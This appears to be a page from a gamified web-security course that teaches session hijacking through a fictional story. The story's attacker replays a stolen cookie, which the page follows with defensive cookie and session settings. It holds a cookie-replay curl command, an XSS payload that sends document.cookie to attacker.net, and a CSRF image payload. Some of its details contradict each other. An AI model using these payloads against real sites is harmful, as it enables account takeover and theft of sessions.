«
◀
OP-24 // SESSION GHOST
CAMPAIGN 3 // THE GHOST PROTOCOL // SESSION HIJACKING
0
XP
T1
RANK
0%
DETECT
↻
RESET
CAMPAIGN 3 — THE GHOST PROTOCOL
SESSION HIJACKING // OWASP A07 // BROKEN AUTHENTICATION
OP-24
BROKEN AUTHENTICATION // SESSION MANAGEMENT
SESSION GHOST
COOKIE INSPECTOR · SESSION TIMELINE · DASHBOARD NAVIGATOR · TOKEN CONFIGURATOR
OPERATION SESSION GHOST — CAMPAIGN 3
👻
SITUATION
49H REMAINING
Op 23 bled fourteen live session tokens out of the Syndicate’s backup node. One belongs to a senior operations manager — D. Wilkins, the man who signs off Vantage’s surveillance contracts for Director Kane — authenticated forty minutes ago. His token is still valid.
The Vantage operator dashboard lives at
This is the first time Shadow is inside Vantage — not probing from outside, but operating as a credentialled user. The dashboard will show exactly what Vantage’s operators see every day. MENDAX has three specific targets. Find them before the session expires or Wilkins logs back in.
The Vantage operator dashboard lives at
ops.vantage-sys.net, hosted in a Reykjavik data-haven and run as if no one would ever get this far. It uses cookie-based session management. Shadow will inject Wilkins’ token into a browser session and navigate as him.This is the first time Shadow is inside Vantage — not probing from outside, but operating as a credentialled user. The dashboard will show exactly what Vantage’s operators see every day. MENDAX has three specific targets. Find them before the session expires or Wilkins logs back in.
WHAT IS SESSION HIJACKING?
FEYNMAN PRIMER
Imagine a cinema where entry is based on a ticket. Once inside, the ticket represents your identity. If someone steals your ticket, they can move around pretending to be you.
Heartbleed handed Shadow Wilkins’ ticket. Now Shadow is going to use it.
Heartbleed handed Shadow Wilkins’ ticket. Now Shadow is going to use it.
👻 The theatre has no photograph of the original coat owner. It cannot compare faces. It was designed to be efficient, not suspicious. Session hijacking is a trust problem, not a technical break-in.
VANTAGE SYSTEMS // OPERATOR PLATFORM POLICY // 2023-Q2 // HOLT, M. (CEO)
“The monitored entities are not our concern. Our obligation is to our clients. Operator access controls are calibrated to enable efficient workflow. Reducing session duration would impact operational effectiveness.”
◈ MENDAX: “Session duration: 8 hours. No IP binding. No user agent check. He optimised for convenience.”
MENDAX — DARK CHANNEL // OP-24 BRIEF
08:11
MENDAX
“His session is active — you’re Wilkins until he reloads or it times out. Three targets. Operator count. Active monitoring regions. Auction platform endpoint. Get them and ghost before Kane’s people notice the coat doesn’t fit.”
Op 23 — Heartbleed memory leak that extracted session tokens from Vantage's backup node running OpenSSL 1.0.1f.
TARGET
nexus-portal.nexus-global.int
IP ADDRESS
10.47.1.24
OS / SERVER
Ubuntu 22.04 · Node.js 16.x · Express sessions
KEY SERVICES
Staff portal · Predictable token IDs · Sessions never expire
ATTACK SCOPE
Session prediction + permanent hijack in scope
ATTACKER NODE
shadow@sigma9 · 10.99.0.1
📋 ROOM TASKS
01
✓
Understand why predictable non-expiring tokens enable permanent account takeover
02
▶
Predict and steal a live session token to hijack an account
03
○
Classify session token patterns by ease of exploitation
04
○
Identify the fix (CSPRNG tokens + short expiry + post-auth rotation)
05
○
Submit the capture-the-flag token
CAPTURE THE FLAG
Complete the exploit lab. The flag appears below once Phase 2 is done. Copy and submit it here for +50 XP.
PHASE 01
COOKIE INSPECTOR
ANALYSE
SESSION FUNDAMENTALS
WHAT IS A SESSION TOKEN?
When you log into a website, the server creates a temporary ID for you — like a coat-check ticket. Every request your browser makes automatically includes this ticket (stored as a cookie) so the server knows who you are without asking for your password again. Steal the ticket, become the person. That is session hijacking.
The three cookie flags below are the locks on that ticket. A missing flag is an unlocked door.
The three cookie flags below are the locks on that ticket. A missing flag is an unlocked door.
SIGMA-9 CAPTURE LOG — HOW WE FOUND IT
02:47 UTC
> extracted Wilkins' session ID from the Heartbleed memory dump — TOKEN-SID-7743F
> opaque random string, no embedded claims — the server just looks it up in its session store
> FOUND: no expiry set on issue, 8-hour idle timeout, no IP or user-agent binding
MENDAX: "Their coat-check ticket doesn't even have a name on it. Whoever holds it is whoever it says they are."
MENDAX — HOW THIS IS ACTUALLY DONE
LIVE
MENDAX
This isn't a token we crack or forge — it's a token we simply replay. The server never re-checks who's holding it, only whether it exists in the session store and hasn't expired.
$ curl -H "Cookie: session_id=TOKEN-SID-7743F" https://ops.vantage-sys.net/dashboard
# no password, no MFA challenge, no re-auth — the cookie alone is trusted
200 OK → Welcome back, D. Wilkins
MENDAX
One HTTP header, and the server hands over Wilkins' entire session — permissions, dashboard, everything, because the token alone is proof enough.
$ date; echo "token issued 02:11 UTC, no rotation on privilege use"
Wed 02:47 UTC → still 36 minutes inside the 8-hour window
MENDAX
Same token works the whole session. Wilkins' face never gets checked again. Your call, Shadow — where do we walk first?
💡 Three cookie flags protect session tokens. HttpOnly stops JavaScript reading them. Secure stops them travelling over plain HTTP. SameSite stops them being sent by third-party requests. Missing any one opens a specific attack.
MENDAX
ENCRYPTED
Before injecting Wilkins’ token, understand what made it stealable.
Three cookies from the Vantage operator platform. Each one has a different security configuration. For each cookie, tap each flag to reveal whether it is present, missing, and what the absence enables.
The flag that was missing from Wilkins’ session cookie is why Heartbleed could extract it in the first place.
Three cookies from the Vantage operator platform. Each one has a different security configuration. For each cookie, tap each flag to reveal whether it is present, missing, and what the absence enables.
The flag that was missing from Wilkins’ session cookie is why Heartbleed could extract it in the first place.
✓
ALL 3 COOKIES INSPECTED
The Vantage platform was missing all three protective flags on its session cookie. No HttpOnly — any JavaScript on the domain can read the token. No Secure — the token travels over HTTP if the user visits a non-HTTPS endpoint. No SameSite — cross-site requests carry the token automatically, enabling CSRF attacks.
Wilkins’ token was in server memory (exposed by Heartbleed) precisely because the session was long-lived and unprotected. An 8-hour session with no flags is a token waiting to be taken.
Wilkins’ token was in server memory (exposed by Heartbleed) precisely because the session was long-lived and unprotected. An 8-hour session with no flags is a token waiting to be taken.
The combination matters: Each missing flag enables a different attack. Together they mean the token is vulnerable to network interception, JavaScript theft, and cross-site exploitation simultaneously.
🔧 UNDER THE HOOD▼
HOW COOKIE SESSIONS WORK
When you log in, the server generates a random session ID and stores a record of your identity in a server-side session store (Redis, a database, or in-memory). It sends the session ID to your browser as a
Set-Cookie header. Your browser attaches that cookie to every subsequent request automatically. The server looks up the session ID in its store to find out who you are.# Login request:
POST /login → Server authenticates password
Server creates: sessions["TOKEN-SID-7743F"] = {user: "wilkins", role: "ops_mgr", ip: "..."}
Response: Set-Cookie: session_id=TOKEN-SID-7743F; HttpOnly; Secure; SameSite=Strict
# Every subsequent request:
GET /dashboard
Cookie: session_id=TOKEN-SID-7743F
Server looks up sessions["TOKEN-SID-7743F"] → finds Wilkins → grants ops_mgr access
The session ID itself contains no user data — it is a random opaque key into the server's session store. This is different from a JWT, which encodes user claims inside the token itself.COOKIE FLAGS THAT PROTECT SESSIONS
All three flags should appear on every session cookie. The correct
Secure — the browser will only send this cookie over an HTTPS connection. If the user visits an HTTP URL (even by accident), the cookie stays in the jar. Prevents network interception on unencrypted connections.
SameSite=Strict — the browser will not include this cookie in any request that originates from a different domain. A malicious page at
Set-Cookie header looks like:Set-Cookie: session_id=TOKEN; HttpOnly; Secure; SameSite=Strict
HttpOnly — the browser will not expose this cookie to JavaScript. document.cookie cannot read it. An XSS payload injected onto the page cannot exfiltrate the session token.Secure — the browser will only send this cookie over an HTTPS connection. If the user visits an HTTP URL (even by accident), the cookie stays in the jar. Prevents network interception on unencrypted connections.
SameSite=Strict — the browser will not include this cookie in any request that originates from a different domain. A malicious page at
evil.com cannot trigger authenticated requests to vantage-sys.net. Blocks CSRF entirely.HOW SESSION HIJACKING WORKS — 4 VECTORS
1. XSS theft (HttpOnly missing) — a script injected via cross-site scripting reads
document.cookie and sends the session ID to an attacker-controlled server.// XSS payload (if HttpOnly is absent):
fetch('https://attacker.net/steal?c=' + document.cookie)
2. Network sniff (Secure missing) — on any HTTP endpoint on the same domain, the browser sends the cookie in plaintext. A network observer (coffee-shop Wi-Fi, ISP, MITM proxy) reads it from the wire.# Captured HTTP request (Wireshark / mitmproxy):
GET /api/status HTTP/1.1
Host: vantage-sys.net
Cookie: session_id=TOKEN-SID-7743F ← visible in plaintext
3. CSRF (SameSite missing) — a malicious page tricks the victim's browser into making an authenticated request. The browser automatically attaches the session cookie.<!-- On evil.com — forces victim's browser to make authenticated request -->
<img src="https://vantage-sys.net/api/transfer?to=attacker&amount=50000">
4. Server-side memory leak (this operation's path) — Heartbleed-class vulnerabilities read raw server memory, recovering session IDs stored in the session store or in-flight SSL buffers. No cookie flags help here — the token is extracted before HTTP ever sends it.HOW TO DEFEND
Layer the defences — flags stop the easy vectors, binding stops extraction attacks:
IP/user-agent binding: record the client IP and user agent at session creation. Reject requests from a different IP. Adds friction for legitimate users on mobile networks — which is why Holt disabled it.
Re-authentication for sensitive actions: even with a valid session, destructive operations require the user to re-enter their password. A hijacked session can browse; it cannot execute.
Session invalidation on logout: delete the session record server-side. Invalidating the cookie client-side is insufficient — a copy of the token still works if the server-side record persists.
# Node.js / Express — correct session configuration:
app.use(session({
secret: require('crypto').randomBytes(32).toString('hex'),
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true, // blocks XSS theft
secure: true, // HTTPS only
sameSite: 'strict', // blocks CSRF
maxAge: 30 * 60 * 1000 // 30-minute idle expiry
}
}));
# On login, regenerate the session ID to prevent fixation:
req.session.regenerate(function(err) {
req.session.userId = authenticatedUser.id;
});
Short expiry (30 min idle timeout): a stolen token becomes worthless quickly. Wilkins’ 8-hour session gave Shadow a comfortable working window.IP/user-agent binding: record the client IP and user agent at session creation. Reject requests from a different IP. Adds friction for legitimate users on mobile networks — which is why Holt disabled it.
Re-authentication for sensitive actions: even with a valid session, destructive operations require the user to re-enter their password. A hijacked session can browse; it cannot execute.
Session invalidation on logout: delete the session record server-side. Invalidating the cookie client-side is insufficient — a copy of the token still works if the server-side record persists.
PHASE 02
SESSION TIMELINE
SEQUENCE
Cookie flags analysed. Now execute the sequence — take Wilkins' extracted token and walk it through the door step by step.
💡 Session hijacking has a fixed sequence. Each step only works if the previous one succeeded. Skip a step and the server rejects you. Understanding the order is understanding the attack.
MENDAX
ENCRYPTED
Shadow’s path from extracted token to authenticated dashboard access. Six steps. They happen in a specific order — the server enforces each one.
Tap each step in the correct sequence. Wrong placement shows you what the server does when you attempt an operation out of order — and why it fails.
Tap each step in the correct sequence. Wrong placement shows you what the server does when you attempt an operation out of order — and why it fails.
BUILD THE SEQUENCE — SLOT 1 FIRST
TAP TO PLACE
✓
CORRECT SEQUENCE — DASHBOARD ACCESS GRANTED
This is the exact sequence Shadow executes to assume Wilkins’ identity. The Vantage dashboard sees a valid token, a matching session, and grants operator access. No authentication prompt. No second factor. No anomaly alert.
The server never checked whether the IP address changed between Wilkins’ original login and Shadow’s injection. Holt’s policy — optimise for efficiency — meant IP binding was never implemented.
The server never checked whether the IP address changed between Wilkins’ original login and Shadow’s injection. Holt’s policy — optimise for efficiency — meant IP binding was never implemented.
Why step order matters: Injecting the cookie before clearing Wilkins’ existing browser state would cause a session conflict. Validating access before authentication is complete returns a 401. The sequence exists because the server enforces each prerequisite.
PHASE 03
VANTAGE DASHBOARD
NAVIGATE
Access granted. Shadow is inside the Vantage dashboard — the clock is running, and MENDAX needs three specific numbers extracted before the session dies.
⏱ SESSION EXPIRES IN 20 MINUTES — EXTRACT FAST
💡 You are inside the Vantage operator platform as D. Wilkins, Ops Manager. MENDAX needs three pieces of intelligence. Navigate the dashboard to find them. Tap the value when you find it.
MENDAX’S TARGETS — tap the value in the dashboard when found
Total active operators currently authenticated
Active monitoring regions (country count)
Auction platform endpoint (internal URL)
✓
3 INTELLIGENCE TARGETS EXTRACTED
Shadow sends the dashboard structure to MENDAX. Three data points: 31 active operators, 17 monitoring regions, and the auction platform endpoint.
MENDAX’s response takes four seconds. Then: "Now you understand what we are taking apart. Continue."
The dashboard looked like any enterprise software. Clean UI. Colour-coded indicators. Alphanumeric entity IDs. Grid references. Data streams. The language is technical and neutral. Behind it: people being watched without their knowledge, in 17 countries, right now.
MENDAX’s response takes four seconds. Then: "Now you understand what we are taking apart. Continue."
The dashboard looked like any enterprise software. Clean UI. Colour-coded indicators. Alphanumeric entity IDs. Grid references. Data streams. The language is technical and neutral. Behind it: people being watched without their knowledge, in 17 countries, right now.
What makes this disturbing: The most dangerous surveillance systems do not look dangerous. They look efficient. The mundane professionalism of the Vantage dashboard is designed to make operators comfortable performing an operation that, described plainly, most of them would find troubling.
PHASE 04
TOKEN CONFIGURATOR
DEFEND
Intelligence extracted. Before Shadow moves to the next target, understand what four flags would have made this entire operation impossible from the start.
💡 Configure Vantage’s session token to survive extraction. Toggle each security property. When all four are correctly set, the token Shadow extracted in Op 23 would have been useless. Find the configuration that makes the token worthless outside its original context.
MENDAX
ENCRYPTED
Shadow has the access. Now understand what would have stopped it. Four security properties — each one changes what the server checks when a session token is presented.
Configure all four correctly. The live token preview below updates as you toggle. When the configuration is correct, Wilkins’ extracted token would have triggered an immediate session rejection — and Shadow would never have reached the dashboard.
Configure all four correctly. The live token preview below updates as you toggle. When the configuration is correct, Wilkins’ extracted token would have triggered an immediate session rejection — and Shadow would never have reached the dashboard.
LIVE TOKEN CONFIGURATION PREVIEW
✓
SECURE CONFIGURATION ACHIEVED
With all four properties enabled, Wilkins’ token would have been cryptographically valid but contextually useless. The server would have rejected it the moment it arrived from a different IP address.
This is token binding. The token is tied to the specific context in which it was created. Extract it and transplant it elsewhere, and the server detects the mismatch before the session even begins.
This is token binding. The token is tied to the specific context in which it was created. Extract it and transplant it elsewhere, and the server detects the mismatch before the session even begins.
Why Vantage didn’t implement this: Each property adds friction. IP binding breaks sessions when users switch networks. Short expiry requires frequent re-authentication. Holt’s directive was efficiency. Security and efficiency are often in tension. Vantage chose efficiency. Shadow chose to notice.
👻
OPERATION 24 — COMPLETE
SESSION GHOST — SUCCESS
VANTAGE DASHBOARD // 3 TARGETS EXTRACTED
+0
XP EARNED THIS OPERATION
31 active operators. 17 monitoring regions. One endpoint: ops-archive.vantage-sys.net.
Shadow was inside the Vantage dashboard for eleven minutes as D. Wilkins. The session log will show Wilkins authenticated, browsed the usual screens, and nothing unusual. Wilkins himself will not notice the activity until he checks his session history — if he ever does.
The endpoint ops-archive.vantage-sys.net resolves via CNAME to a cloud storage bucket. Shadow runs a DNS lookup. The bucket does not exist. The account was decommissioned eight months ago. The CNAME record was never updated. The subdomain is dangling — pointing at nothing, receiving traffic from every automated system that still thinks the archive is live.
Shadow was inside the Vantage dashboard for eleven minutes as D. Wilkins. The session log will show Wilkins authenticated, browsed the usual screens, and nothing unusual. Wilkins himself will not notice the activity until he checks his session history — if he ever does.
The endpoint ops-archive.vantage-sys.net resolves via CNAME to a cloud storage bucket. Shadow runs a DNS lookup. The bucket does not exist. The account was decommissioned eight months ago. The CNAME record was never updated. The subdomain is dangling — pointing at nothing, receiving traffic from every automated system that still thinks the archive is live.
MENDAX — DARK CHANNEL // POST-SESSION GHOST
08:22
MENDAX
“Now you understand what we are taking apart. Continue.”
SHADOW
ops-archive.vantage-sys.net. CNAME to a decommissioned bucket. Eight months old. Nobody updated the record.
MENDAX
“Claim it. Op 25.”
08:22 — DARK CHANNEL // SHADOW + MENDAX
SHADOW
31 operators. 17 countries. The targets are listed as entity IDs and grid references. No names. No faces. Someone built a very clean interface for watching people.
MENDAX
They always do. The interface is the product. Claim the subdomain. Op 25.
DEBRIEF — REFLECTION QUESTION
You forged a session token by exploiting a weakness in how it was signed. What makes a cryptographic signature on a token trustworthy — and what does it guarantee about the content?
SIGMA-9 ACADEMY
OPERATION 24 // SESSION HIJACKING // COOKIE SECURITY // COMPLETE REFERENCE
◈ HOW SESSION TOKENS WORK
When you log in to a web application, the server creates a session — a record of who you are and what you are allowed to do. It assigns this session a random identifier (the session token) and stores it in a cookie in your browser. Every subsequent request your browser sends to the server includes this cookie. The server looks up the token, finds your session, and responds accordingly.
The token is the credential. It is equivalent to a password for the duration of your session. Whoever holds the token holds the session — regardless of how they obtained it.
◈ THE THREE COOKIE FLAGS
HttpOnly: When set, the cookie cannot be read by JavaScript. Any script running on the page — including injected scripts from XSS attacks — cannot access the token. Without it, a single XSS vulnerability on any page of the same domain can read and exfiltrate the session token.
Secure: When set, the browser only sends the cookie over HTTPS connections. Without it, if a user visits any page of the domain over plain HTTP (even by accident), the cookie is sent unencrypted and can be read by network observers.
SameSite: When set to Strict or Lax, the browser does not include the cookie in cross-site requests — requests originating from a different domain. Without it, a malicious website can trigger requests to the session domain and the browser automatically includes the session cookie. This enables CSRF attacks.
◈ TOKEN BINDING — WHAT STOPS HIJACKING
Cookie flags protect tokens in transit and from JavaScript. They do not protect against server-side memory disclosure (like Heartbleed) or tokens extracted from network captures. Token binding is the server-side defence:
IP binding: The server records the client IP address when the session is created. Every subsequent request is checked against this IP. A token presented from a different IP is immediately invalidated. This breaks sessions when users switch networks — which is why Holt chose not to implement it.
User agent binding: The server records the browser user agent string at session creation. Requests from a different user agent are rejected. Less reliable (user agents can be spoofed) but adds a layer.
Short expiry: Sessions that expire quickly (15–30 minutes) limit the window of usefulness for stolen tokens. Wilkins’ 8-hour session gave Shadow ample time.
Re-authentication for sensitive actions: Even with a valid session, high-privilege actions require the user to re-enter their password. A hijacked session can browse but cannot perform destructive operations.
❓
FIELD QUESTIONS — SESSION GHOST
Why couldn’t Vantage detect Shadow’s use of Wilkins’ session?
Shadow used a valid, active session token. From the server’s perspective, every request looked identical to a legitimate Wilkins request — same token, same session, same permissions. Without IP binding, the server had no mechanism to detect that the client address changed. Without anomaly detection comparing access patterns, the browsing behaviour appeared normal. The session log records activity but cannot distinguish between the real Wilkins and Shadow.
What is the difference between session hijacking and session fixation?
Session hijacking: The attacker steals an existing session token after authentication has occurred. The legitimate user is already logged in; the attacker takes their token and uses it in parallel. The server has two clients using the same session.
Session fixation: The attacker sets a known token before the user logs in. They plant a specific session ID, wait for the user to authenticate with that ID, then use the same ID themselves — now authenticated. Op 24 is hijacking (token stolen post-authentication).
Session fixation: The attacker sets a known token before the user logs in. They plant a specific session ID, wait for the user to authenticate with that ID, then use the same ID themselves — now authenticated. Op 24 is hijacking (token stolen post-authentication).
Why does the OWASP Top 10 list broken authentication so highly?
Authentication and session management are the gatekeepers of every authenticated system. When they fail, everything behind them fails simultaneously. A broken authentication vulnerability grants the attacker the same access as the legitimate user — without triggering any of the access controls designed for post-authentication behaviour. Most security controls (rate limiting, audit logging, role-based access) operate on authenticated sessions. A hijacked session bypasses the entry check and inherits all trusted status.
What would have stopped Shadow at each phase?
Op 23 (Heartbleed): Patching OpenSSL on the backup node would have prevented memory extraction entirely.
Op 24 Phase 1 (Cookie flags): HttpOnly prevents JavaScript theft (not Heartbleed, but blocks other vectors). Secure prevents network interception.
Op 24 Phase 4 (Token binding): IP binding would have caused the server to reject Shadow’s request the moment it arrived from a different IP. The extracted token would have been valid but contextually useless.
Short session duration: An expired token is worthless. Holt’s 8-hour sessions gave Shadow a comfortable window.
Op 24 Phase 1 (Cookie flags): HttpOnly prevents JavaScript theft (not Heartbleed, but blocks other vectors). Secure prevents network interception.
Op 24 Phase 4 (Token binding): IP binding would have caused the server to reject Shadow’s request the moment it arrived from a different IP. The extracted token would have been valid but contextually useless.
Short session duration: An expired token is worthless. Holt’s 8-hour sessions gave Shadow a comfortable window.
REAL-WORLD TOOLS — TOKEN & SESSION
WHAT PROFESSIONALS USE
🎫
Burp Suite (Sequencer)
FREE / OPEN SOURCE
Statistically analyses a batch of captured session tokens to measure how random (or predictable) they actually are — the exact test that would have caught Vantage's token pattern.
Proxy captures → Sequencer → Analyze Now
🧰
curl / EditThisCookie
FREE / OPEN SOURCE
Replays a stolen session cookie directly against the target — no cracking needed, since an opaque session ID authenticates on possession alone.
curl -H "Cookie: session_id=TOKEN" https://target/dashboard
🔑
Browser DevTools (Application tab)
FREE
Inspect a session cookie's flags directly — confirm whether HttpOnly, Secure, and SameSite are actually set before assuming they are.
DevTools → Application → Cookies → check flag columns
LEAVE MISSION?
Progress is saved. You can resume from the mission select screen at any time.
RESET MISSION?
This wipes all progress for this operation only. XP in other operations is unaffected.
ARE YOU SURE?
Final confirmation -- all progress for this operation will be permanently erased.